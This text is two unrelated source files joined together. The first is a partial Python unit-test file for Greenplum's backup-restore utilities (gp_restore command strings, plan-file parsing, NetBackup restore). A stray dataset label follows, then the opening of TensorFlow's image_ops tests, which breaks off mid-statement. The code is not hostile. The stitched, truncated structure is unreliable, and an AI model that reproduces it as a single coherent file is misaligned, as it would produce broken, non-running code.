@patch('gppylib.operations.backup_utils.Context.backup_dir_is_writable', return_value=True) def test_create_restore_string_backup_dir(self, mock1, mock2, mock3): self.context.no_plan = True table_filter_file = None self.context.backup_dir = '/tmp' full_restore_with_filter = False expected_output = 'gp_restore -i -h host -p 5432 -U user --gp-i --gp-k=20160101010101 --gp-l=p --gp-d=/tmp/db_dumps/20160101 --gp-r=/tmp/db_dumps/20160101 --status=/tmp/db_dumps/20160101 --gp-c -d "testdb" -a' restore_line = self.restore.create_restore_string(table_filter_file, full_restore_with_filter) self.assertEqual(restore_line, expected_output) @patch('gppylib.operations.restore.socket.gethostname', return_value='host') @patch('gppylib.operations.restore.getpass.getuser', return_value='user') def test_create_restore_string_no_ao_stats(self, mock1, mock2): self.context.no_plan = True self.context.no_ao_stats = True table_filter_file = None self.context.report_status_dir = '/tmp' self.context.backup_dir = '/foo' full_restore_with_filter = False expected_output = 'gp_restore -i -h host -p 5432 -U user --gp-i --gp-k=20160101010101 --gp-l=p --gp-d=/foo/db_dumps/20160101 --gp-r=/tmp --status=/tmp --gp-c -d "testdb" -a --gp-nostats' restore_line = self.restore.create_restore_string(table_filter_file, full_restore_with_filter) self.assertEqual(restore_line, expected_output) @patch('gppylib.operations.restore.socket.gethostname', return_value='host') @patch('gppylib.operations.restore.getpass.getuser', return_value='user') def test_create_restore_string_with_plan(self, mock1, mock2): table_filter_file = None self.context.report_status_dir = '/tmp' self.context.backup_dir = '/foo' full_restore_with_filter = True expected_output = 'gp_restore -i -h host -p 5432 -U user --gp-i --gp-k=20160101010101 --gp-l=p --gp-d=/foo/db_dumps/20160101 --gp-r=/tmp --status=/tmp --gp-c -d "testdb" -a' restore_line = self.restore.create_restore_string(table_filter_file, full_restore_with_filter) self.assertEqual(restore_line, expected_output) @patch('gppylib.operations.restore.socket.gethostname', return_value='host') @patch('gppylib.operations.restore.getpass.getuser', return_value='user') def test_create_restore_string_with_nbu(self, mock1, mock2): self.context.no_plan = True table_filter_file = None self.context.report_status_dir = '/tmp' self.context.backup_dir = '/foo' self.context.netbackup_service_host = "mdw" full_restore_with_filter = False expected_output = 'gp_restore -i -h host -p 5432 -U user --gp-i --gp-k=20160101010101 --gp-l=p --gp-d=/foo/db_dumps/20160101 --gp-r=/tmp --status=/tmp --gp-c -d "testdb" -a --netbackup-service-host=mdw' restore_line = self.restore.create_restore_string(table_filter_file, full_restore_with_filter) self.assertEqual(restore_line, expected_output) # Test to verify the command line for gp_restore @patch('gppylib.operations.restore.socket.gethostname', return_value='host') @patch('gppylib.operations.restore.getpass.getuser', return_value='user') def test_create_restore_string_change_schema(self, mock1, mock2): self.context.no_plan = True table_filter_file = None full_restore_with_filter = False change_schema_file = 'newschema' expected_output = 'gp_restore -i -h host -p 5432 -U user --gp-i --gp-k=20160101010101 --gp-l=p --gp-d=db_dumps/20160101 --gp-c -d "testdb" -a --change-schema-file=newschema' restore_line = self.restore.create_restore_string(table_filter_file, full_restore_with_filter, change_schema_file) self.assertEqual(restore_line, expected_output) @patch('gppylib.operations.backup_utils.Context.generate_filename', return_value='foo') def test_get_plan_file_contents_no_file(self, mock1): with self.assertRaisesRegexp(Exception, 'Plan file foo does not exist'): get_plan_file_contents(self.context) @patch('gppylib.operations.backup_utils.Context.generate_filename', return_value='foo') @patch('gppylib.operations.restore.get_lines_from_file', return_value=[]) @patch('os.path.isfile', return_value=True) def test_get_plan_file_contents_empty_file(self, mock1, mock2, mock3): with self.assertRaisesRegexp(Exception, 'Plan file foo has no contents'): get_plan_file_contents(self.context) @patch('gppylib.operations.backup_utils.Context.generate_filename', return_value='foo') @patch('gppylib.operations.restore.get_lines_from_file', return_value=['20160101010101:t1,t2', '20160101010111:t3,t4', '20160101121210:t5,t6,t7']) @patch('os.path.isfile', return_value=True) def test_get_plan_file_contents_default(self, mock1, mock2, mock3): expected_output = [('20160101010101','t1,t2'), ('20160101010111','t3,t4'), ('20160101121210','t5,t6,t7')] output = get_plan_file_contents(self.context) self.assertEqual(output, expected_output) @patch('gppylib.operations.backup_utils.Context.generate_filename', return_value='foo') @patch('gppylib.operations.restore.get_lines_from_file', return_value=['20160101010101:', '20160101010111', '20160101121210:']) @patch('os.path.isfile', return_value=True) def test_get_plan_file_contents_invalid_format(self, mock1, mock2, mock3): with self.assertRaisesRegexp(Exception, 'Invalid plan file format'): get_plan_file_contents(self.context) @patch('gppylib.operations.restore.get_plan_file_contents', return_value=[('20160101010101', 't1,t2'), ('20160101010111', 't3,t4'), ('20160101121210', 't5,t6,t7')]) @patch('gppylib.operations.restore.Command.run') @patch('gppylib.operations.restore.update_ao_statistics') def test_restore_incremental_data_only_default(self, mock1, mock2, mock3): results = self.restore.restore_incremental_data_only() self.assertTrue(results) @patch('gppylib.operations.restore.get_plan_file_contents', return_value=[('20160101010101', ''), ('20160101010111', ''), ('20160101121210', '')]) @patch('os.path.isfile', return_value=True) @patch('gppylib.operations.restore.update_ao_statistics') def test_restore_incremental_data_only_no_tables(self, mock1, mock2, mock3): with self.assertRaisesRegexp(Exception, 'There were no tables to restore. Check the plan file contents for restore timestamp 20160101010101'): self.restore.restore_incremental_data_only() @patch('gppylib.operations.restore.get_plan_file_contents', return_value=[('20160101010101', 't1,t2'), ('20160101010111', 't3,t4'), ('20160101121210', 't5,t6,t7')]) @patch('gppylib.operations.restore.Command.run', side_effect=Exception('Error executing gpdbrestore')) @patch('gppylib.operations.restore.update_ao_statistics') def test_restore_incremental_data_only_error(self, mock1, mock2, mock3): with self.assertRaisesRegexp(Exception, 'Error executing gpdbrestore'): self.restore.restore_incremental_data_only() def test_create_filter_file_no_tables(self): self.context.restore_tables = None self.assertEquals(self.restore.create_filter_file(), None) @patch('gppylib.operations.restore.get_all_segment_addresses', return_value=['host1']) @patch('gppylib.operations.restore.scp_file_to_hosts') def test_create_filter_file_default(self, m1, m2): self.context.restore_tables = ['public.ao1', 'testschema.heap1'] m = mock_open() with patch('tempfile.NamedTemporaryFile', m, create=True): fname = self.restore.create_filter_file() result = m() self.assertEqual(len(self.context.restore_tables), len(result.write.call_args_list)) for i in range(len(self.context.restore_tables)): self.assertEqual(call(self.context.restore_tables[i]+'\n'), result.write.call_args_list[i]) @patch('gppylib.operations.restore.get_lines_from_file', return_value = ['public.t1', 'public.t2', 'public.t3']) @patch('os.path.isfile', return_value = True) def test_get_restore_tables_from_table_file_default(self, mock1, mock2): table_file = '/foo' expected_result = ['public.t1', 'public.t2', 'public.t3'] result = get_restore_tables_from_table_file(table_file) self.assertEqual(expected_result, result) @patch('os.path.isfile', return_value = False) def test_get_restore_tables_from_table_file_no_file(self, mock): table_file = '/foo' expected_result = ['public.t1', 'public.t2', 'public.t3'] with self.assertRaisesRegexp(Exception, 'Table file does not exist'): result = get_restore_tables_from_table_file(table_file) def test_check_table_name_format_and_duplicate_missing_schema(self): table_list = ['publicao1', 'public.ao2'] with self.assertRaisesRegexp(Exception, 'No schema name supplied'): check_table_name_format_and_duplicate(table_list, None) def test_check_table_name_format_and_duplicate_default(self): table_list = ['public.ao1', 'public.ao2'] check_table_name_format_and_duplicate(table_list, []) def test_check_table_name_format_and_duplicate_no_tables(self): table_list = [] schema_list = [] check_table_name_format_and_duplicate(table_list, schema_list) def test_check_table_name_format_and_duplicate_duplicate_tables(self): table_list = ['public.ao1', 'public.ao1'] resolved_list, _ = check_table_name_format_and_duplicate(table_list, []) self.assertEqual(resolved_list, ['public.ao1']) def test_check_table_name_format_and_duplicate_funny_chars(self): table_list = [' `"@#$%^&( )_|:;<>?/-+={}[]*1Aa . `"@#$%^&( )_|:;<>?/-+={}[]*1Aa ', 'schema.ao1'] schema_list = ['schema'] resolved_table_list, resolved_schema_list = check_table_name_format_and_duplicate(table_list, schema_list) self.assertEqual(resolved_table_list, [' `"@#$%^&( )_|:;<>?/-+={}[]*1Aa . `"@#$%^&( )_|:;<>?/-+={}[]*1Aa ']) self.assertEqual(resolved_schema_list, ['schema']) def test_validate_tablenames_exist_in_dump_file_no_tables(self): dumped_tables = [] table_list = ['schema.ao'] with self.assertRaisesRegexp(Exception, 'No dumped tables to restore.'): validate_tablenames_exist_in_dump_file(table_list, dumped_tables) def test_validate_tablenames_exist_in_dump_file_one_table(self): dumped_tables = [('schema', 'ao', 'gpadmin')] table_list = ['schema.ao'] validate_tablenames_exist_in_dump_file(table_list, dumped_tables) def test_validate_tablenames_exist_in_dump_file_nonexistent_table(self): dumped_tables = [('schema', 'ao', 'gpadmin')] table_list = ['schema.ao', 'schema.co'] with self.assertRaisesRegexp(Exception, "Tables \['schema.co'\] not found in backup"): validate_tablenames_exist_in_dump_file(table_list, dumped_tables) def test_get_restore_table_list_default(self): table_list = ['public.ao_table', 'public.ao_table2', 'public.co_table', 'public.heap_table'] restore_tables = ['public.ao_table2', 'public.co_table'] m = mock_open() with patch('tempfile.NamedTemporaryFile', m, create=True): result = get_restore_table_list(table_list, restore_tables) result = m() self.assertEqual(len(restore_tables), len(result.write.call_args_list)) for i in range(len(restore_tables)): self.assertEqual(call(restore_tables[i]+'\n'), result.write.call_args_list[i]) def test_get_restore_table_list_no_restore_tables(self): table_list = ['public.ao_table', 'public.ao_table2', 'public.co_table', 'public.heap_table'] restore_tables = None m = mock_open() with patch('tempfile.NamedTemporaryFile', m, create=True): result = get_restore_table_list(table_list, restore_tables) result = m() self.assertEqual(len(table_list), len(result.write.call_args_list)) for i in range(len(table_list)): self.assertEqual(call(table_list[i]+'\n'), result.write.call_args_list[i]) def test_get_restore_table_list_extra_restore_tables(self): table_list = ['public.ao_table', 'public.ao_table2', 'public.co_table', 'public.heap_table'] restore_tables = ['public.ao_table2', 'public.co_table', 'public.ao_table3'] expected = ['public.ao_table2', 'public.co_table'] m = mock_open() with patch('tempfile.NamedTemporaryFile', m, create=True): result = get_restore_table_list(table_list, restore_tables) result = m() self.assertEqual(len(expected), len(result.write.call_args_list)) for i in range(len(expected)): self.assertEqual(call(expected[i]+'\n'), result.write.call_args_list[i]) def test_validate_restore_tables_list_default(self): plan_file_contents = [('20160101121213', 'public.t1'), ('20160101010101', 'public.t2,public.t3'), ('20160101010101', 'public.t4')] restore_tables = ['public.t1', 'public.t2'] validate_restore_tables_list(plan_file_contents, restore_tables) def test_validate_restore_tables_list_invalid_tables(self): plan_file_contents = [('20160101121213', 'public.t1'), ('20160101010101', 'public.t2,public.t3'), ('20160101010101', 'public.t4')] restore_tables = ['public.t5', 'public.t2'] with self.assertRaisesRegexp(Exception, 'Invalid tables for -T option: The following tables were not found in plan file'): validate_restore_tables_list(plan_file_contents, restore_tables) @patch('os.path.exists', return_value=False) def test_restore_global_no_file(self, mock): with self.assertRaisesRegexp(Exception, 'Unable to locate global file /data/master/p1/db_dumps/20160101/gp_global_1_1_20160101010101 in dump set'): self.restore._restore_global(self.context) @patch('os.path.exists', return_value=True) @patch('gppylib.commands.gp.Psql.run') def test_restore_global_default(self, mock1, mock2): self.restore._restore_global(self.context) # should not error out @patch('gppylib.operations.restore.execSQLForSingleton') @patch('pygresql.pgdb.pgdbCnx.commit') def test_update_ao_stat_func_default(self, m1, m2): conn = None ao_schema = 'schema' ao_table = 'table' counter = 1 batch_size = 1000 update_ao_stat_func(conn, ao_schema, ao_table, counter, batch_size) @patch('pygresql.pgdb.pgdbCnx.commit') @patch('gppylib.operations.restore.execSQLForSingleton') def test_update_ao_stat_func_near_batch_size(self, m1, m2): conn = None ao_table = 'table' ao_schema = 'schema' counter = 999 batch_size = 1000 update_ao_stat_func(conn, ao_schema, ao_table, counter, batch_size) @patch('gppylib.operations.restore.execSQLForSingleton') @patch('pygresql.pgdb.pgdbCnx.commit') def test_update_ao_stat_func_equal_batch_size(self, m1, m2): conn = None ao_table = 'table' ao_schema = 'schema' counter = 1000 batch_size = 1000 with self.assertRaisesRegexp(AttributeError, "'NoneType' object has no attribute 'commit'"): update_ao_stat_func(conn, ao_schema, ao_table, counter, batch_size) @patch('gppylib.operations.restore.execSQLForSingleton') @patch('pygresql.pgdb.pgdbCnx.commit') def test_update_ao_stat_func_over_batch_size(self, m1, m2): conn = None ao_table = 'table' ao_schema = 'schema' counter = 1001 batch_size = 1000 update_ao_stat_func(conn, ao_schema, ao_table, counter, batch_size) @patch('gppylib.operations.restore.execSQLForSingleton') @patch('pygresql.pgdb.pgdbCnx.commit') def test_update_ao_stat_func_double_batch_size(self, m1, m2): conn = None ao_table = 'table' ao_schema = 'schema' counter = 2000 batch_size = 1000 with self.assertRaisesRegexp(AttributeError, "'NoneType' object has no attribute 'commit'"): update_ao_stat_func(conn, ao_schema, ao_table, counter, batch_size) @patch('gppylib.operations.restore.execute_sql', return_value=[['t1', 'public']]) @patch('gppylib.operations.restore.dbconn.connect') @patch('gppylib.operations.restore.update_ao_stat_func') def test_update_ao_statistics_default(self, m1, m2, m3): restored_tables = [] update_ao_statistics(self.context, restored_tables) update_ao_statistics(self.context, restored_tables=['public.t1'], restored_schema=[], restore_all=False) update_ao_statistics(self.context, restored_tables=[], restored_schema=['public'], restore_all=False) update_ao_statistics(self.context, restored_tables=[], restored_schema=[], restore_all=True) def test_generate_restored_tables_no_table(self): results = [['t1','public'], ['t2', 'public'], ['foo', 'bar']] tables = generate_restored_tables(results, restored_tables=[], restored_schema=[], restore_all=False) self.assertEqual(tables, set()) def test_generate_restored_tables_specified_table(self): results = [['t1','public'], ['t2', 'public'], ['foo', 'bar']] tables = generate_restored_tables(results, restored_tables=['public.t1'], restored_schema=[], restore_all=False) self.assertEqual(tables, set([('public','t1')])) def test_generate_restored_tables_specified_schema(self): results = [['t1','public'], ['t2', 'public'], ['foo', 'bar']] tables = generate_restored_tables(results, restored_tables=[], restored_schema=['public'], restore_all=False) self.assertEqual(tables, set([('public','t1'), ('public', 't2')])) def test_generate_restored_tables_full_restore(self): results = [['t1','public'], ['t2', 'public'], ['foo', 'bar']] tables = generate_restored_tables(results, restored_tables=[], restored_schema=[], restore_all=True) self.assertEqual(tables, set([('public','t1'), ('public', 't2'), ('bar', 'foo')])) @patch('gppylib.operations.restore.dbconn.connect') @patch('gppylib.db.dbconn.execSQLForSingleton', return_value=5) def test_check_gp_toolkit_true(self, m1, m2): self.assertTrue(self.restore.check_gp_toolkit()) @patch('gppylib.operations.restore.dbconn.connect') @patch('gppylib.db.dbconn.execSQLForSingleton', return_value=0) def test_check_gp_toolkit_false(self, m1, m2): self.assertFalse(self.restore.check_gp_toolkit()) @patch('gppylib.operations.backup_utils.dbconn.DbURL') @patch('gppylib.operations.backup_utils.dbconn.connect') @patch('gppylib.operations.restore.execSQL') def test_analyze_restore_tables_default(self, mock1, mock2, mock3): self.context.restore_tables = ['public.t1', 'public.t2'] self.restore._analyze_restore_tables() @patch('gppylib.operations.restore.execSQL', side_effect=Exception('analyze failed')) @patch('gppylib.operations.backup_utils.dbconn.DbURL') @patch('gppylib.operations.backup_utils.dbconn.connect') def test_analyze_restore_tables_analyze_failed(self, mock1, mock2, mock3): self.context.restore_tables = ['public.t1', 'public.t2'] self.assertRaises(Exception, self.restore._analyze_restore_tables) @patch('gppylib.operations.backup_utils.execSQL') @patch('gppylib.operations.backup_utils.dbconn.DbURL', side_effect=Exception('Failed')) @patch('gppylib.operations.backup_utils.dbconn.connect') def test_analyze_restore_tables_connection_failed(self, mock1, mock2, mock3): self.context.restore_tables = ['public.t1', 'public.t2'] self.assertRaises(Exception, self.restore._analyze_restore_tables) @patch('gppylib.operations.backup_utils.dbconn.DbURL') @patch('gppylib.operations.backup_utils.dbconn.connect') @patch('gppylib.operations.restore.execSQL') def test_analyze_restore_tables_three_batches(self, mock1, mock2, mock3): self.context.restore_tables = ['public.t%d' % i for i in range(3002)] expected_batch_count = 3 batch_count = self.restore._analyze_restore_tables() self.assertEqual(batch_count, expected_batch_count) @patch('gppylib.operations.backup_utils.dbconn.DbURL') @patch('gppylib.operations.backup_utils.dbconn.connect') @patch('gppylib.operations.backup_utils.dbconn.execSQL') def test_analyze_restore_tables_change_schema(self, mock1, mock2, mock3): self.context.restore_tables = ['public.t1', 'public.t2'] self.context.change_schema = 'newschema' self.restore._analyze_restore_tables() @patch('os.path.exists', side_effect=[True, False]) def test_validate_metadata_file_with_compression_exists(self, mock): compressed_file = 'compressed_file.gz' self.assertTrue(self.validate_timestamp.validate_metadata_file(compressed_file)) @patch('os.path.exists', side_effect=[False, False]) def test_validate_metadata_file_with_compression_doesnt_exists(self, mock): compressed_file = 'compressed_file.gz' with self.assertRaisesRegexp(ExceptionNoStackTraceNeeded, 'Unable to find compressed_file or compressed_file.gz'): self.validate_timestamp.validate_metadata_file(compressed_file) @patch('os.path.exists', side_effect=[False, True]) def test_validate_metadata_file_without_compression_exists(self, mock): compressed_file = 'compressed_file.gz' self.assertFalse(self.validate_timestamp.validate_metadata_file(compressed_file)) @patch('os.path.exists', side_effect=[False, False]) def test_validate_metadata_file_without_compression_doesnt_exist(self, mock): compressed_file = 'compressed_file.gz' with self.assertRaisesRegexp(ExceptionNoStackTraceNeeded, 'Unable to find compressed_file or compressed_file.gz'): self.validate_timestamp.validate_metadata_file(compressed_file) @patch('gppylib.operations.restore.restore_file_with_nbu') def test_restore_state_files_with_nbu_default(self, mock1): self.context.netbackup_service_host = "mdw" restore_state_files_with_nbu(self.context) self.assertEqual(mock1.call_count, 3) calls = ["ao", "co", "last_operation"] for i in range(len(mock1.call_args_list)): self.assertEqual(mock1.call_args_list[i], call(self.context, calls[i])) @patch('gppylib.operations.backup_utils.Context.generate_filename', return_value='/tmp/foo_schema') @patch('gppylib.commands.base.Command.run') def test_restore_file_with_nbu_default(self, mock1, mock2): self.context.netbackup_service_host = "mdw" cmdStr = "gp_bsa_restore_agent --netbackup-service-host mdw --netbackup-filename /tmp/foo_schema > /tmp/foo_schema" with patch.object(Command, '__init__', return_value=None) as cmd: restore_file_with_nbu(self.context, "schema") cmd.assert_called_with("restoring metadata files to master", cmdStr) self.assertEqual(mock2.call_count, 1) @patch('gppylib.operations.backup_utils.Context.generate_filename', return_value='') @patch('gppylib.commands.base.Command.run') def test_restore_file_with_nbu_no_filetype(self, mock1, mock2): self.context.netbackup_service_host = "mdw" self.context.netbackup_block_size = 100 cmdStr = "gp_bsa_restore_agent --netbackup-service-host mdw --netbackup-block-size 100 --netbackup-filename /tmp/foo_schema > /tmp/foo_schema" with patch.object(Command, '__init__', return_value=None) as cmd: restore_file_with_nbu(self.context, path="/tmp/foo_schema") cmd.assert_called_with("restoring metadata files to master", cmdStr) @patch('gppylib.operations.backup_utils.Context.generate_filename', return_value='/tmp/foo_schema') @patch('gppylib.commands.base.Command.run') def test_restore_file_with_nbu_no_path(self, mock1, mock2): self.context.netbackup_service_host = "mdw" self.context.netbackup_block_size = 100 cmdStr = "gp_bsa_restore_agent --netbackup-service-host mdw --netbackup-block-size 100 --netbackup-filename /tmp/foo_schema > /tmp/foo_schema" with patch.object(Command, '__init__', return_value=None) as cmd: restore_file_with_nbu(self.context, "schema") cmd.assert_called_with("restoring metadata files to master", cmdStr) @patch('gppylib.operations.backup_utils.Context.generate_filename', return_value='foo_schema') @patch('gppylib.commands.base.Command.run') def test_restore_file_with_nbu_both_args(self, mock1, mock2): with self.assertRaisesRegexp(Exception, 'Cannot supply both a file type and a file path to restore_file_with_nbu'): restore_file_with_nbu(self.context, "schema", "/tmp/foo_schema") @patch('gppylib.operations.backup_utils.Context.generate_filename', return_value='foo_schema') @patch('gppylib.commands.base.Command.run') def test_restore_file_with_nbu_neither_arg(self, mock1, mock2): with self.assertRaisesRegexp(Exception, 'Cannot call restore_file_with_nbu with no type or path argument'): restore_file_with_nbu(self.context) @patch('gppylib.operations.backup_utils.Context.generate_filename', return_value='/tmp/foo_schema') @patch('gppylib.commands.base.Command.run') def test_restore_file_with_nbu_block_size(self, mock1, mock2): self.context.netbackup_service_host = "mdw" self.context.netbackup_block_size = 1024 cmdStr = "gp_bsa_restore_agent --netbackup-service-host mdw --netbackup-block-size 1024 --netbackup-filename /tmp/foo_schema > /tmp/foo_schema" with patch.object(Command, '__init__', return_value=None) as cmd: restore_file_with_nbu(self.context, "schema") cmd.assert_called_with("restoring metadata files to master", cmdStr) @patch('gppylib.operations.backup_utils.Context.generate_filename', return_value='/tmp/foo_schema') @patch('gppylib.commands.base.Command.run') def test_restore_file_with_nbu_keyword(self, mock1, mock2): self.context.netbackup_service_host = "mdw" self.context.netbackup_keyword = "foo" cmdStr = "gp_bsa_restore_agent --netbackup-service-host mdw --netbackup-filename /tmp/foo_schema > /tmp/foo_schema" with patch.object(Command, '__init__', return_value=None) as cmd: restore_file_with_nbu(self.context, "schema") cmd.assert_called_with("restoring metadata files to master", cmdStr) @patch('gppylib.operations.backup_utils.Context.generate_filename', return_value='/tmp/foo_schema') @patch('gppylib.commands.base.Command.run') def test_restore_file_with_nbu_segment(self, mock1, mock2): self.context.netbackup_service_host = "mdw" cmdStr = "gp_bsa_restore_agent --netbackup-service-host mdw --netbackup-filename /tmp/foo_schema > /tmp/foo_schema" with patch.object(Command, '__init__', return_value=None) as cmd: restore_file_with_nbu(self.context, "schema", hostname="sdw") from gppylib.commands.base import REMOTE cmd.assert_called_with("restoring metadata files to segment", cmdStr, ctxt=REMOTE, remoteHost="sdw") class MyMock(MagicMock): def __init__(self, num_segs): super(MagicMock, self).__init__() self.mock_segs = [] for i in range(num_segs): self.mock_segs.append(Mock()) def getSegmentList(self): for id, seg in enumerate(self.mock_segs): seg.get_active_primary.getSegmentHostName.return_value = Mock() seg.get_primary_dbid.return_value = id + 2 return self.mock_segs @patch('gppylib.operations.dump.GpArray.initFromCatalog', return_value=MyMock(1)) @patch('gppylib.gparray.GpDB.getSegmentHostName', return_value='sdw') def test_restore_config_files_with_nbu_single_segment(self, mock1, mock2): with patch('gppylib.operations.restore.restore_file_with_nbu', side_effect=my_counter) as nbu_mock: global i i = 0 self.context.netbackup_service_host = "mdw" self.context.netbackup_policy = "test_policy" self.context.netbackup_schedule = "test_schedule" restore_config_files_with_nbu(self.context) args, _ = nbu_mock.call_args_list[0] self.assertEqual(args[1], "master_config") for id, seg in enumerate(mock2.mock_segs): self.assertEqual(seg.get_active_primary.call_count, 1) self.assertEqual(seg.get_primary_dbid.call_count, 1) args, _ = nbu_mock.call_args_list[id] self.assertEqual(args, ("segment_config", id+2, "sdw")) self.assertEqual(i, 2) @patch('gppylib.operations.dump.GpArray.initFromCatalog', return_value=MyMock(3)) @patch('gppylib.gparray.GpDB.getSegmentHostName', return_value='sdw') def test_restore_config_files_with_nbu_multiple_segments(self, mock1, mock2): with patch('gppylib.operations.restore.restore_file_with_nbu', side_effect=my_counter) as nbu_mock: global i i = 0 self.context.netbackup_service_host = "mdw" self.context.netbackup_policy = "test_policy" self.context.netbackup_schedule = "test_schedule" restore_config_files_with_nbu(self.context) args, _ = nbu_mock.call_args_list[0] self.assertEqual(args[1], "master_config") for id, seg in enumerate(mock2.mock_segs): self.assertEqual(seg.get_active_primary.call_count, 1) self.assertEqual(seg.get_primary_dbid.call_count, 1) args, _ = nbu_mock.call_args_list[id] self.assertEqual(i, 4) if __name__ == '__main__': unittest.main() i=0 def my_counter(*args, **kwargs): global i i += 1 return Mock()
codeparrot/github-code-clean
# Copyright 2015 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Tests for tensorflow.ops.image_ops.""" import colorsys import contextlib import functools import itertools import math import os import time from absl.testing import parameterized import numpy as np from tensorflow.core.protobuf import config_pb2 from tensorflow.python.client import session from tensorflow.python.compat import compat from tensorflow.python.data.experimental.ops import get_single_element from tensorflow.python.data.ops import dataset_ops from tensorflow.python.eager import backprop from tensorflow.python.eager import context from tensorflow.python.eager import def_function from tensorflow.python.framework import config as tf_config from tensorflow.python.framework import constant_op from tensorflow.python.framework import dtypes from tensorflow.python.framework import errors from tensorflow.python.framework import errors_impl from tensorflow.python.framework import ops from tensorflow.python.framework import tensor_shape from tensorflow.python.framework import tensor_spec from tensorflow.python.framework import test_util from tensorflow.python.ops import array_ops from tensorflow.python.ops import control_flow_ops from tensorflow.python.ops import gen_image_ops from tensorflow.python.ops import image_ops from tensorflow.python.ops import image_ops_impl from tensorflow.python.ops import io_ops from tensorflow.python.ops import math_ops from tensorflow.python.ops import random_ops from tensorflow.python.ops import stateless_random_ops from tensorflow.python.ops import variables from tensorflow.python.platform import googletest from tensorflow.python.platform import test class RGBToHSVTest(test_util.TensorFlowTestCase): def testBatch(self): # Build an arbitrary RGB image np.random.seed(7) batch_size = 5 shape = (batch_size, 2, 7, 3) for nptype in [np.float32, np.float64]: inp = np.random.rand(*shape).astype(nptype) # Convert to HSV and back, as a batch and individually with self.cached_session(): batch0 = constant_op.constant(inp) batch1 = image_ops.rgb_to_hsv(batch0) batch2 = image_ops.hsv_to_rgb(batch1) split0 = array_ops.unstack(batch0) split1 = list(map(image_ops.rgb_to_hsv, split0)) split2 = list(map(image_ops.hsv_to_rgb, split1)) join1 = array_ops.stack(split1) join2 = array_ops.stack(split2) batch1, batch2, join1, join2 = self.evaluate( [batch1, batch2, join1, join2]) # Verify that processing batch elements together is the same as separate self.assertAllClose(batch1, join1) self.assertAllClose(batch2, join2) self.assertAllClose(batch2, inp) def testRGBToHSVRoundTrip(self): data = [0, 5, 13, 54, 135, 226, 37, 8, 234, 90, 255, 1] for nptype in [np.float32, np.float64]: rgb_np = np.array(data, dtype=nptype).reshape([2, 2, 3]) / 255. with self.cached_session(): hsv = image_ops.rgb_to_hsv(rgb_np) rgb = image_ops.hsv_to_rgb(hsv) rgb_tf = self.evaluate(rgb) self.assertAllClose(rgb_tf, rgb_np) def testRGBToHSVDataTypes(self): # Test case for GitHub issue 54855. data = [0, 5, 13, 54, 135, 226, 37, 8, 234, 90, 255, 1] for dtype in [ dtypes.float32, dtypes.float64, dtypes.float16, dtypes.bfloat16 ]: with self.cached_session(use_gpu=False): rgb = math_ops.cast( np.array(data, np.float32).reshape([2, 2, 3]) / 255., dtype=dtype) hsv = image_ops.rgb_to_hsv(rgb) val = image_ops.hsv_to_rgb(hsv) out = self.evaluate(val) self.assertAllClose(rgb, out, atol=1e-2) class RGBToYIQTest(test_util.TensorFlowTestCase): @test_util.run_without_tensor_float_32( "Calls rgb_to_yiq and yiq_to_rgb, which use matmul") def testBatch(self): # Build an arbitrary RGB image np.random.seed(7) batch_size = 5 shape = (batch_size, 2, 7, 3) for nptype in [np.float32, np.float64]: inp = np.random.rand(*shape).astype(nptype) # Convert to YIQ and back, as a batch and individually with self.cached_session(): batch0 = constant_op.constant(inp) batch1 = image_ops.rgb_to_yiq(batch0) batch2 = image_ops.yiq_to_rgb(batch1) split0 = array_ops.unstack(batch0) split1 = list(map(image_ops.rgb_to_yiq, split0)) split2 = list(map(image_ops.yiq_to_rgb, split1)) join1 = array_ops.stack(split1) join2 = array_ops.stack(split2) batch1, batch2, join1, join2 = self.evaluate( [batch1, batch2, join1, join2]) # Verify that processing batch elements together is the same as separate self.assertAllClose(batch1, join1, rtol=1e-4, atol=1e-4) self.assertAllClose(batch2, join2, rtol=1e-4, atol=1e-4) self.assertAllClose(batch2, inp, rtol=1e-4, atol=1e-4) class RGBToYUVTest(test_util.TensorFlowTestCase): @test_util.run_without_tensor_float_32( "Calls rgb_to_yuv and yuv_to_rgb, which use matmul") def testBatch(self): # Build an arbitrary RGB image np.random.seed(7) batch_size = 5 shape = (batch_size, 2, 7, 3) for nptype in [np.float32, np.float64]: inp = np.random.rand(*shape).astype(nptype) # Convert to YUV and back, as a batch and individually with self.cached_session(): batch0 = constant_op.constant(inp) batch1 = image_ops.rgb_to_yuv(batch0) batch2 = image_ops.yuv_to_rgb(batch1) split0 = array_ops.unstack(batch0) split1 = list(map(image_ops.rgb_to_yuv, split0)) split2 = list(map(image_ops.yuv_to_rgb, split1)) join1 = array_ops.stack(split1) join2 = array_ops.stack(split2) batch1, batch2, join1, join2 = self.evaluate( [batch1, batch2, join1, join2]) # Verify that processing batch elements together is the same as separate self.assertAllClose(batch1, join1, rtol=1e-4, atol=1e-4) self.assertAllClose(batch2, join2, rtol=1e-4, atol=1e-4) self.assertAllClose(batch2, inp, rtol=1e-4, atol=1e-4) class GrayscaleToRGBTest(test_util.TensorFlowTestCase): def _RGBToGrayscale(self, images): is_batch = True if len(images.shape) == 3: is_batch = False images = np.expand_dims(images, axis=0) out_shape = images.shape[0:3] + (1,) out = np.zeros(shape=out_shape, dtype=np.uint8) for batch in range(images.shape[0]): for y in range(images.shape[1]): for x in range(images.shape[2]): red = images[batch, y, x, 0] green = images[batch, y, x, 1] blue = images[batch, y, x, 2] gray = 0.2989 * red + 0.5870 * green + 0.1140 * blue out[batch, y, x, 0] = int(gray) if not is_batch: out = np.squeeze(out, axis=0) return out def _TestRGBToGrayscale(self, x_np): y_np = self._RGBToGrayscale(x_np) with self.cached_session(): x_tf = constant_op.constant(x_np, shape=x_np.shape) y = image_ops.rgb_to_grayscale(x_tf) y_tf = self.evaluate(y) self.assertAllEqual(y_tf, y_np) def testBasicRGBToGrayscale(self): # 4-D input with batch dimension. x_np = np.array( [[1, 2, 3], [4, 10, 1]], dtype=np.uint8).reshape([1, 1, 2, 3]) self._TestRGBToGrayscale(x_np) # 3-D input with no batch dimension. x_np = np.array([[1, 2, 3], [4, 10, 1]], dtype=np.uint8).reshape([1, 2, 3]) self._TestRGBToGrayscale(x_np) def testBasicGrayscaleToRGB(self): # 4-D input with batch dimension. x_np = np.array([[1, 2]], 